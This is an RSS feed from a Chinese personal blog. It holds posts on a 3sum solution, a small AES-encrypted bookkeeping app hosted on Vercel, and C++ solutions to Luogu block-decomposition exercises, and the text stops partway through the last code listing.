<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>MituFun&apos;s Blog</title><description>MituFun 的博客</description><link>https://blog.mitufun.top/</link><language>zh_CN</language><item><title>Leetcode 3sum的一种较劣的解法</title><link>https://blog.mitufun.top/posts/leetcode-3sum%E7%9A%84%E4%B8%80%E7%A7%8D%E8%BE%83%E5%8A%A3%E7%9A%84%E8%A7%A3%E6%B3%95/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/leetcode-3sum%E7%9A%84%E4%B8%80%E7%A7%8D%E8%BE%83%E5%8A%A3%E7%9A%84%E8%A7%A3%E6%B3%95/</guid><description>如题</description><pubDate>Sun, 06 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;%E9%A2%98%E7%9B%AE%E9%93%BE%E6%8E%A5&quot;&gt;https://leetcode.cn/problems/3sum&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;几万年没碰 OI 了，闲的没事在学校写力扣的题玩玩，看到这道题压根想不起来双指针的事，然后口胡出了一个 $O(n^2\log n)$ 的做法，过了。&lt;/p&gt;
&lt;p&gt;具体地，考虑原式变形：$\text{nums}_i+\text{nums}_j+\text{nums}_k=0$ 等价于 $\text{nums}_i+\text{nums}_j=-\text{nums}_k$。此外，对 $i,j,k$ 的具体下标无稳定性要求，可以对 $\text{nums}$ 进行排序，容易想到对于 $i$，$j$ 进行 $O(n^2)$ 的暴力枚举，对 $k$ 进行二分查找。&lt;/p&gt;
&lt;p&gt;可以发现，这种算法复杂度为 $O(n^2\log n)$，对于极弱的 $n=3000$ 的数据完全可过。&lt;/p&gt;
&lt;p&gt;关于一些小细节：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如何不重复 $i,j,k$？&lt;/p&gt;
&lt;p&gt;我为了不被 3000 个 0 卡掉，就将 $\text{nums}$ 压缩了，每个节点为 $\text{val}$——值，$\text{l}$——左端点，$\text{r}$——右端点，$\text{len}$——区间长度。准确地，$\text{len}=\text{r}-\text{l}+1$。&lt;/p&gt;
&lt;p&gt;好，那么如何不重复呢？很简单，你选用的点剩余长度够就行了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;去重吗？&lt;/p&gt;
&lt;p&gt;本做法显而易见地无需去重，因为不存在可以被保存的合法答案是完全一样的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>一个简单的基于AES加密存储的个人记账系统</title><link>https://blog.mitufun.top/posts/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%9F%BA%E4%BA%8Eaes%E5%8A%A0%E5%AF%86%E5%AD%98%E5%82%A8%E7%9A%84%E4%B8%AA%E4%BA%BA%E8%AE%B0%E8%B4%A6%E7%B3%BB%E7%BB%9F/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%9F%BA%E4%BA%8Eaes%E5%8A%A0%E5%AF%86%E5%AD%98%E5%82%A8%E7%9A%84%E4%B8%AA%E4%BA%BA%E8%AE%B0%E8%B4%A6%E7%B3%BB%E7%BB%9F/</guid><description>如题所示</description><pubDate>Sun, 23 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;本项目所有源代码已在以下 Github 仓库中开源：&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;MituFun/Bill&quot;}&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;一些基本想法&lt;/h2&gt;
&lt;h3&gt;验证密码&lt;/h3&gt;
&lt;p&gt;密码当然不能直接明文判等于，太过于愚蠢了。故考虑到 AES 的巧妙之处，利用以下方法来验证密码是否正确：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;初始化：假定密码为 $P$，利用 $P$ 为密钥加密字符串 &lt;code&gt;Password is correct.&lt;/code&gt;，可以得到密文 $C_{expect}$。将 $C_{expect}$ 直接储存到后端代码常量中。&lt;/li&gt;
&lt;li&gt;密码验证：利用用户输入的密码 $P&apos;$ 为密钥，加密字符串 &lt;code&gt;Password is correct.&lt;/code&gt;，若结果与 $C_{expect}$ 相等则密码正确。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::caution&lt;/p&gt;
&lt;p&gt;注意，以上全程不涉及到 $\text{Key}$ 的明文存储。故若源代码被泄露，即使有了 $\text{Result}$ 也无法逆向得到 $\text{Key}$，较为安全。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;不要穷举了，我的密码十几位有英文有数字，整不出来的，而且我的 vercel 免费套餐流量是有限的。。。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h3&gt;解密数据&lt;/h3&gt;
&lt;p&gt;当然，数据也不能直接明文存储，这样太过于愚蠢了。同时，为了防止有人能搞到我数据库权限直接读，加密也需要一定的手段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当能解密数据时，则之前的密码验证已通过。此时可以保证输入密码 $P&apos;$ 等于原始密码 $P$。故为了在代码中不体现 $P$ 的明文，我们利用 $P$ 对数据进行加密解密。&lt;/li&gt;
&lt;li&gt;另外，考虑到网络波动导致部分数据错误，故需要对此进行特判，防止错误解密的数据在存储时替换掉原有正常数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;一些风险&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用户输入的 $P&apos;$ 直接明文传输到服务器，如果不走 https 走的是 http 容易泄露。但是我们伟大的 vercel 给我了 https&lt;/li&gt;
&lt;li&gt;本项目利用 AES‑ECB，也没加盐，理论上并不是很安全。但是如果有人能给这玩意破解了估计也得耗不少精力，你都这么累了，我账本给你看得了。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以其实没啥风险我感觉，密码设长一点别让人暴力破解了就行。&lt;/p&gt;
&lt;h2&gt;如何使用此项目&lt;/h2&gt;
&lt;h3&gt;绑定数据库&lt;/h3&gt;
&lt;p&gt;超级无敌简单，整一个 vercel 的数据库，然后绑定到你要部署的项目，要求数据库类型为  Upstash for Redis，免费套餐就够用了。&lt;/p&gt;
&lt;p&gt;随后，检查项目的环境变量中是否存在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;KV_REST_API_URL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KV_REST_API_TOKEN&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;存在就代表绑定成功了。&lt;/p&gt;
&lt;h3&gt;修改密码&lt;/h3&gt;
&lt;p&gt;按照验证密码的方法，在 transactions.js 文件里面修改 EXPECTED_CIPHER 即可，这个变量就是 $C_{expect}$。&lt;/p&gt;
&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;貌似已有数据后再修改密码会关于解析数据的bug，我以后再修，因此，建议一开始部署的时候就决定一个长期使用且不修改的密码。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;以上，具体代码实现看我仓库。&lt;/p&gt;
</content:encoded></item><item><title>分块新刷</title><link>https://blog.mitufun.top/posts/%E5%88%86%E5%9D%97%E6%96%B0%E5%88%B7/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E5%88%86%E5%9D%97%E6%96%B0%E5%88%B7/</guid><description>如题所示</description><pubDate>Fri, 12 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;大概四年前给 loj 上的分块都板刷了一遍，但是上高中之后 AFO 后全忘了，最近重新复习一下发现洛谷出了分块板子题，就先写这个了。至于 loj 剩下的到时候再写吧。（我去 都四年了吗）&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13976&quot;&gt;P13976 数列分块入门 1&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;math.h&amp;gt;
using namespace std;

#define int long long

const int maxn = 3e5 + 10;
int n;
int a[maxn];

int cnt, loc[maxn];
struct block {
	int add;
	int l, r;
} b[maxn];

void build() {
	cnt = sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + (int)sqrt(n) - 1;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			loc[j] = i;
		}
	}
	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	for (int i = b[cnt].l; i &amp;lt;= b[cnt].r; i++) {
		loc[i] = cnt;
	}
}

void add(int l, int r, int x) {
	if (loc[l] == loc[r]) {
		for (int i = l; i &amp;lt;= r; i++) a[i] += x;
		return;
	}
	for (int i = l; i &amp;lt;= b[loc[l]].r; i++) a[i] += x;
	for (int i = b[loc[r]].l; i &amp;lt;= r; i++) a[i] += x;
	for (int i = loc[l] + 1; i &amp;lt; loc[r]; i++) b[i].add += x;
}

int query(int x) {
	return a[x] + b[loc[x]].add;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();
	//for (int i = 1; i &amp;lt;= cnt; i++) {
	//	printf(&quot;%d %d\n&quot;, b[i].l, b[i].r);
	//	printf(&quot;%d\n&quot;, b[i].add);
	//}
	//for (int i = 1; i &amp;lt;= n; i++) {
	//	printf(&quot;%lld &quot;, a[i]);
	//}
	//printf(&quot;\n&quot;);
	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r, c;
		scanf(&quot;%lld%lld%lld%lld&quot;, &amp;amp;opt, &amp;amp;l, &amp;amp;r, &amp;amp;c);
		if (!opt) {
			add(l, r, c);
		}
		if (opt) {
			printf(&quot;%lld\n&quot;, query(r));
		}
		//for (int i = 1; i &amp;lt;= cnt; i++) {
		//	printf(&quot;%d %d\n&quot;, b[i].l, b[i].r);
		//	printf(&quot;%d\n&quot;, b[i].add);
		//}
		//for (int i = 1; i &amp;lt;= n; i++) {
		//	printf(&quot;%lld &quot;, a[i]);
		//}
		//printf(&quot;\n&quot;);
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没看题解直接硬写，忘记了两个点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;未标记 &lt;code&gt;loc[]&lt;/code&gt; 导致不会做了&lt;/li&gt;
&lt;li&gt;标记 &lt;code&gt;loc[]&lt;/code&gt; 的时候漏掉了 &lt;code&gt;cnt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;没别的问题了——2026.6.12&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13977&quot;&gt;P13977 数列分块入门 2&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;set&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;algorithm&amp;gt;
using namespace std;

#define int long long

const int maxn = 2e5 + 10;

int n;
int a[maxn];
int sorted[maxn];

struct block {
	int l, r, add;
} b[maxn];
int cnt;
int loc[maxn];

void fix(int x) {
	for (int i = b[x].l; i &amp;lt;= b[x].r; i++) {
		sorted[i] = a[i];
	}
	sort(sorted + b[x].l, sorted + b[x].r + 1);
}

void build() {
	cnt = sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			loc[j] = i;
		}
	}
	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	for (int i = b[cnt].l; i &amp;lt;= b[cnt].r; i++) {
		loc[i] = cnt;
	}
	for (int i = 1; i &amp;lt;= cnt; i++) fix(i);
}

void add(int l, int r, int x) {
	if (loc[l] == loc[r]) {
		for (int i = l; i &amp;lt;= r; i++) {
			a[i] += x;
		}
		fix(loc[l]);
		return;
	}

	for (int i = l; i &amp;lt;= b[loc[l]].r; i++) a[i] += x;
	fix(loc[l]);
	for (int i = b[loc[r]].l; i &amp;lt;= r; i++) a[i] += x;
	fix(loc[r]);
	for (int i = loc[l] + 1; i &amp;lt; loc[r]; i++) {
		b[i].add += x;
	}
}

int query(int l, int r, int c) {
	int ans = 0;
	if (loc[l] == loc[r]) {
		for (int i = l; i &amp;lt;= r; i++) {
			if (a[i] + b[loc[i]].add &amp;lt; c * c) {
				ans++;
			}
		}
		return ans;
	}

	for (int i = l; i &amp;lt;= b[loc[l]].r; i++) {
		if (a[i] + b[loc[i]].add &amp;lt; c * c) {
			ans++;
		}
	}
	for (int i = b[loc[r]].l; i &amp;lt;= r; i++) {
		if (a[i] + b[loc[i]].add &amp;lt; c * c) {
			ans++;
		}
	}
	for (int i = loc[l] + 1; i &amp;lt; loc[r]; i++) {
		int tmp = c * c - b[i].add;
		int t = lower_bound(sorted + b[i].l, sorted + b[i].r + 1, tmp) - sorted;
		ans += (t - b[i].l);
	}
	return ans;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();
	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r, c;
		scanf(&quot;%lld%lld%lld%lld&quot;, &amp;amp;opt, &amp;amp;l, &amp;amp;r, &amp;amp;c);
		if (!opt) {
			add(l, r, c);
		}
		if (opt) {
			printf(&quot;%lld\n&quot;, query(l, r, c));
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;太抽象了这题，搞了我半个小时&lt;/p&gt;
&lt;p&gt;一开始用 map，结果这玩意在这题二分不了。然后试了 multiset（AI 的推荐），结果发现还是有问题，multiset 我的 visual studio 始终无法接受两个迭代器相减这个能力。最后不得不尝试使用暴力排序原数组。本来以为会很慢，结果算了一下发现瓶颈才 $O(n\sqrt{n}\log n)$ ，没啥大问题。&lt;/p&gt;
&lt;p&gt;但是犯了如下这些错误：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不能直接排序 &lt;code&gt;a[]&lt;/code&gt;，不然暴力弄散块的时候下标不对了，需要再定义一个数组 &lt;code&gt;sorted[]&lt;/code&gt; 存排序后的 &lt;code&gt;a[]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;整块不用重新排 &lt;code&gt;sorted[]&lt;/code&gt;，只有散块需要。而且散块是整个块重排。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;大概就这些，题不难，实现我整的有点费劲——2026.6.12&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13978&quot;&gt;P13978 数列分块入门 3&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;set&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;algorithm&amp;gt;
#include&amp;lt;climits&amp;gt;
using namespace std;

#define int long long

const int maxn = 2e5 + 10;

int n;
int a[maxn];
int sorted[maxn];

struct block {
	int l, r, add;
} b[maxn];
int cnt;
int loc[maxn];

void fix(int x) {
	for (int i = b[x].l; i &amp;lt;= b[x].r; i++) {
		sorted[i] = a[i];
	}
	sort(sorted + b[x].l, sorted + b[x].r + 1);
}

void build() {
	cnt = sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			loc[j] = i;
		}
	}
	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	for (int i = b[cnt].l; i &amp;lt;= b[cnt].r; i++) {
		loc[i] = cnt;
	}
	for (int i = 1; i &amp;lt;= cnt; i++) fix(i);
}

void add(int l, int r, int x) {
	if (loc[l] == loc[r]) {
		for (int i = l; i &amp;lt;= r; i++) {
			a[i] += x;
		}
		fix(loc[l]);
		return;
	}

	for (int i = l; i &amp;lt;= b[loc[l]].r; i++) a[i] += x;
	fix(loc[l]);
	for (int i = b[loc[r]].l; i &amp;lt;= r; i++) a[i] += x;
	fix(loc[r]);
	for (int i = loc[l] + 1; i &amp;lt; loc[r]; i++) {
		b[i].add += x;
	}
}

int query(int l, int r, int c) {
	int ans = LLONG_MIN + 10;
	//cout &amp;lt;&amp;lt; ans &amp;lt;&amp;lt; endl;
	if (loc[l] == loc[r]) {
		for (int i = l; i &amp;lt;= r; i++) {
			if (a[i] + b[loc[i]].add &amp;lt; c) {
				ans = max(ans, a[i] + b[loc[i]].add);
			}
		}
		if (ans == LLONG_MIN + 10) return -1;
		return ans;
	}

	for (int i = l; i &amp;lt;= b[loc[l]].r; i++) {
		if (a[i] + b[loc[i]].add &amp;lt; c) {
			ans = max(ans, a[i] + b[loc[i]].add);
		}
	}
	for (int i = b[loc[r]].l; i &amp;lt;= r; i++) {
		if (a[i] + b[loc[i]].add &amp;lt; c) {
			ans = max(ans, a[i] + b[loc[i]].add);
		}
	}
	for (int i = loc[l] + 1; i &amp;lt; loc[r]; i++) {
		int tmp = c - b[i].add;
		int t = lower_bound(sorted + b[i].l, sorted + b[i].r + 1, tmp) - sorted;
		if (t - 1 &amp;gt;= b[i].l) ans = max(ans, sorted[t - 1] + b[i].add);
	}
	if (ans == LLONG_MIN + 10) return -1;
	return ans;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();
	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r, c;
		scanf(&quot;%lld%lld%lld%lld&quot;, &amp;amp;opt, &amp;amp;l, &amp;amp;r, &amp;amp;c);
		if (!opt) {
			add(l, r, c);
		}
		if (opt) {
			printf(&quot;%lld\n&quot;, query(l, r, c));
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是分块2的代码稍微改两下就行了，虽然我改了五次才过。。。——2026.6.12&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13979&quot;&gt;P13979 数列分块入门 4&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
using namespace std;
#define int long long

const int maxn = 3e5 + 10;

int n;
int a[maxn];

int cnt, f[maxn];
struct block {
	int l, r, sum, add;
} b[maxn];

void build() {
	cnt = sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		b[i].add = 0;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			b[i].sum += a[j];
			f[j] = i;
		}
	}
	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	b[cnt].add = 0;
	for (int j = b[cnt].l; j &amp;lt;= b[cnt].r; j++) {
		b[cnt].sum += a[j];
		f[j] = cnt;
	}
}

void add(int l, int r, int c) {
	if (f[l] == f[r]) {
		for (int i = l; i &amp;lt;= r; i++) a[i] += c;
		b[f[l]].sum += c * (r - l + 1);
		return;
	}
	for (int i = l; i &amp;lt;= b[f[l]].r; i++) {
		a[i] += c;
	}
	b[f[l]].sum += c * (b[f[l]].r - l + 1);
	for (int i = b[f[r]].l; i &amp;lt;= r; i++) {
		a[i] += c;
	}
	b[f[r]].sum += c * (r - b[f[r]].l + 1);
	for (int i = f[l] + 1; i &amp;lt; f[r]; i++) {
		b[i].add += c;
	}
}

int query(int l, int r, int c) {
	int ans = 0;
	if (f[l] == f[r]) {
		for (int i = l; i &amp;lt;= r; i++) {
			ans += a[i] + b[f[i]].add;
		}
		ans = (ans % c + c) % c;
		return ans;
	}
	for (int i = l; i &amp;lt;= b[f[l]].r; i++) {
		ans += a[i] + b[f[i]].add;
	}
	for (int i = b[f[r]].l; i &amp;lt;= r; i++) {
		ans += a[i] + b[f[i]].add;
	}
	for (int i = f[l] + 1; i &amp;lt; f[r]; i++) {
		ans += b[i].sum + b[i].add * (b[i].r - b[i].l + 1);
	}
	ans = (ans % c + c) % c;
	return ans;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();
	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r, c;
		scanf(&quot;%lld%lld%lld%lld&quot;, &amp;amp;opt, &amp;amp;l, &amp;amp;r, &amp;amp;c);
		if (!opt) {
			add(l, r, c);
		}
		if (opt) {
			c++;
			printf(&quot;%lld\n&quot;, query(l, r, c));
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一遍就写对了，但是有几个点TLE。后来发现是因为我 &lt;code&gt;ans = (ans % c + c) % c;&lt;/code&gt; 太多次了导致常数太大。。。（看题解才知道的）&lt;/p&gt;
&lt;p&gt;不知道这种情况以后会不会阴我一手。。。——2026.6.12&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13980&quot;&gt;P13980 数列分块入门 5&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
using namespace std;
#define int long long

const int maxn = 3e5 + 10;
int n;
int a[maxn];

int cnt, f[maxn];
struct block {
	bool noupdate = true;
	int l, r;
	int sum;
} b[maxn];

void refresh(int id) {
	b[id].noupdate = 1;
	b[id].sum = 0;
	for (int i = b[id].l; i &amp;lt;= b[id].r; i++) {
		if (a[i] != 1 &amp;amp;&amp;amp; a[i] != 0) {
			b[id].noupdate = 0;
		}
		b[id].sum += a[i];
	}
}

void build() {
	cnt = (int)sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			b[i].sum += a[j];
			f[j] = i;
			if (a[j] != 1 &amp;amp;&amp;amp; a[j] != 0) b[i].noupdate = false;
		}
	}

	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	for (int j = b[cnt].l; j &amp;lt;= b[cnt].r; j++) {
		b[cnt].sum += a[j];
		f[j] = cnt;
		if (a[j] != 1 &amp;amp;&amp;amp; a[j] != 0) b[cnt].noupdate = false;
	}
}

void update(int l, int r) {
	if (f[l] == f[r]) {
		if (b[f[l]].noupdate) return;
		for (int i = l; i &amp;lt;= r; i++) {
			a[i] = (int)sqrt(a[i]);
		}
		refresh(f[l]);
		return;
	}

	if (!b[f[l]].noupdate) {
		for (int i = l; i &amp;lt;= b[f[l]].r; i++) {
			a[i] = (int)sqrt(a[i]);
		}
		refresh(f[l]);
	}
	if (!b[f[r]].noupdate) {
		for (int i = b[f[r]].l; i &amp;lt;= r; i++) {
			a[i] = (int)sqrt(a[i]);
		}
		refresh(f[r]);
	}
	for (int i = f[l] + 1; i &amp;lt; f[r]; i++) {
		if (!b[i].noupdate) {
			for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
				a[j] = (int)sqrt(a[j]);
			}
			refresh(i);
		}
	}
}

int query(int l, int r) {
	int ans = 0;
	if (f[l] == f[r]) {
		for (int i = l; i &amp;lt;= r; i++) {
			ans += a[i];
		}
		return ans;
	}

	for (int i = l; i &amp;lt;= b[f[l]].r; i++) {
		ans += a[i];
	}
	for (int i = b[f[r]].l; i &amp;lt;= r; i++) {
		ans += a[i];
	}
	for (int i = f[l] + 1; i &amp;lt; f[r]; i++) {
		ans += b[i].sum;
	}
	return ans;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();

	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r;
		scanf(&quot;%lld%lld%lld&quot;, &amp;amp;opt, &amp;amp;l, &amp;amp;r);
		if (!opt) update(l, r);
		if (opt) printf(&quot;%lld\n&quot;, query(l, r));
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题我熟啊，应该是两年前打过一个计蒜客的比赛，那个是开立方根，然后洛谷好像还有一道也是开平方根，但是我当时用的是线段树。&lt;/p&gt;
&lt;p&gt;犯的错：没考虑 0 开根号也是 0，不用 &lt;code&gt;update&lt;/code&gt; 了。没考虑最后一个点会被卡 TLE。——2026.6.12&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13981&quot;&gt;P13981 数列分块入门 6&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;vector&amp;gt;
using namespace std;

#define int long long

const int maxn = 3e5 + 10;
int n;
int a[maxn];

int cnt, f[maxn];
struct block {
	vector&amp;lt;int&amp;gt; v;
	int l, r;
} b[600];

void build() {
	cnt = sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			b[i].v.push_back(a[j]);
			f[j] = i;
		}
	}
	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	for (int j = b[cnt].l; j &amp;lt;= b[cnt].r; j++) {
		b[cnt].v.push_back(a[j]);
		f[j] = cnt;
	}
}

void update(int x, int v) {
	for (int i = 1; i &amp;lt;= cnt; i++) {
		if (x &amp;gt; b[i].v.size()) {
			x -= b[i].v.size();
		}
		else {
			b[i].v.insert(b[i].v.begin() + x - 1, v);
			break;
		}
	}
}

int query(int x) {
	for (int i = 1; i &amp;lt;= cnt; i++) {
		if (x &amp;gt; b[i].v.size()) {
			x -= b[i].v.size();
		}
		else {
			return b[i].v[x - 1];
		}
	}
}

void prv() {
	return;
	cout &amp;lt;&amp;lt; &quot;PRV(): &quot;;
	for (int i = 1; i &amp;lt;= cnt; i++) {
		for (auto k : b[i].v) {
			cout &amp;lt;&amp;lt; k &amp;lt;&amp;lt; &apos; &apos;;
		}
	}
	cout &amp;lt;&amp;lt; endl;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();
	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r, c;
		scanf(&quot;%lld&quot;, &amp;amp;opt);

		if (!opt) {
			scanf(&quot;%lld%lld&quot;, &amp;amp;l, &amp;amp;r);
			update(l, r);
			prv();
		}
		if (opt) {
			scanf(&quot;%lld&quot;, &amp;amp;c);
			printf(&quot;%lld\n&quot;, query(c));
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没想到这么朴素的做法都直接过了。。。我看题解说还要重构。。。数据太弱了吧，虽然当初我在 loj 用 vector 都直接过了。。。&lt;/p&gt;
&lt;p&gt;我再试试要重构的。&lt;/p&gt;
&lt;p&gt;好了，写出来了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;vector&amp;gt;
#include&amp;lt;cstring&amp;gt;
#include&amp;lt;string&amp;gt;
using namespace std;

#define int long long

const int maxn = 3e5 + 10;
int n, nn;
int a[maxn * 3];

int rebuild;

int cnt;
struct block {
	vector&amp;lt;int&amp;gt; v;
	int l, r;
} b[maxn * 3];

void build() {
	int tmp = 0;
	for (int i = 1; i &amp;lt;= cnt; i++) {
		for (auto k : b[i].v) {
			a[++tmp] = k;
		}
	}
	cnt = sqrt(nn);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		b[i].v.clear();
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			b[i].v.push_back(a[j]);
		}
	}
	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = nn;
	b[cnt].v.clear();
	for (int j = b[cnt].l; j &amp;lt;= b[cnt].r; j++) {
		b[cnt].v.push_back(a[j]);
	}
}

void update(int x, int v) {
	for (int i = 1; i &amp;lt;= cnt; i++) {
		if (x &amp;gt; b[i].v.size()) {
			x -= b[i].v.size();
		}
		else {
			b[i].v.insert(b[i].v.begin() + x - 1, v);
			break;
		}
	}
}

int query(int x) {
	for (int i = 1; i &amp;lt;= cnt; i++) {
		if (x &amp;gt; b[i].v.size()) {
			x -= b[i].v.size();
		}
		else {
			return b[i].v[x - 1];
		}
	}
}

void prv() {
	return;
	cout &amp;lt;&amp;lt; &quot;PRV(): &quot;;
	for (int i = 1; i &amp;lt;= cnt; i++) {
		for (auto k : b[i].v) {
			cout &amp;lt;&amp;lt; k &amp;lt;&amp;lt; &apos; &apos;;
		}
	}
	cout &amp;lt;&amp;lt; endl;
}

signed main() {
